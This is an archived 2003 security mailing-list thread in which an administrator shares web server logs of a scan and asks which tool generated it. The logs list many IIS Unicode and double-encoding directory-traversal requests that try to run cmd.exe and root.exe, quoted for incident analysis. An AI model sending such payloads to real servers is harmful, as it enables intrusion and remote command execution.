

SecurityFocus Incidents: Re: Anyone know this tool?

## Re: Anyone know this tool?

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/incidents/2003-07/0263.html>

---

**From:** Danny ([danny\\_at\\_eboundary.com](mailto:danny_at_eboundary.com))

**Date:** 07/29/03

Date: Tue, 29 Jul 2003 13:04:47 -0400

To: [incidents@securityfocus.com](mailto:incidents@securityfocus.com)

I know what the exploits are :) I was curious if anyone had seen the same combination of scans and/or knew which tool generated them.

I would assume it is a newish tool because I've not been able to find the pattern in my logs going back 6-8 months.

On Tuesday, July 29, 2003, at 12:42 PM, James Williams wrote:

> *Looks like old Unicode exploits. Those scanners are all over the place.*

> *You could probably go to [packetstormsecurity.nl](http://packetstormsecurity.nl) and search for*

> *"Unicode"*

> *and find one.*

>

> *James Williams*

> *Network Systems Engineer*

> *West Texas A&M University*

> *<http://www.wtamu.edu>*

> *Phone: 806-651-2162*

> *Email: [jwilliams@mail.wtamu.edu](mailto:jwilliams@mail.wtamu.edu)*

>

>

> *-----Original Message-----*

> *From: Danny [<mailto:danny@eboundary.com>]*

> *Sent: Monday, July 28, 2003 10:24 PM*

> *To: [incidents@securityfocus.com](mailto:incidents@securityfocus.com)*

> *Subject: Anyone know this tool?*

>

> *Does anyone happen to know what tool this is? I've seen the exact same*

> *scans on 6 of our servers on completely different networks. All the*

> *scans have been from different source IP's and all the servers were hit*

>

> *within a space of a few hours.*

>

> *Curiosity is getting the better of me since i've never seen this exact*

> *pattern before :)*

>

> *64.180.241.204 -- [28/Jul/2003:22:18:39 -0500] "GET*

Re: Anyone know this tool?

## SecurityFocus Incidents: Re: Anyone know this tool?

```
> /scripts/root.exe?/c+dir HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:39 -0500] "GET
> /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:40 -0500] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:40 -0500] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:40 -0500] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:40 -0500] "GET
> /_yti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:41 -0500] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:41 -0500] "GET
> /msadc/..%255c../..%255c../..%255c../%c1%1c../%c1%1c../%c1%1c../
> winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:41 -0500] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:41 -0500] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:42 -0500] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:42 -0500] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:42 -0500] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:42 -0500] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - "-"
> "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:42 -0500] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
> "-" "-"
> 64.180.241.204 -- [28/Jul/2003:22:18:43 -0500] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
> "-"
>
> Danny
> Work - http://www.eBoundary.com - Secure, FreeBSD hosting.
> Play - http://www.eBoundary.net - Who really sets your electronic
> boundaries?
> AIM: eBoundaryTch | ICQ: 3090141
>
>
```

Re: Anyone know this tool?

SecurityFocus Incidents: Re: Anyone know this tool?

>

> -

> ---

>

> -

> ----

>

>

>

>

Danny

Work – <http://www.eBoundary.com> – Secure, FreeBSD hosting.

Play – <http://www.eBoundary.net> – Who really sets your electronic boundaries?

AIM: eBoundaryTch | ICQ: 3090141

-----  
-----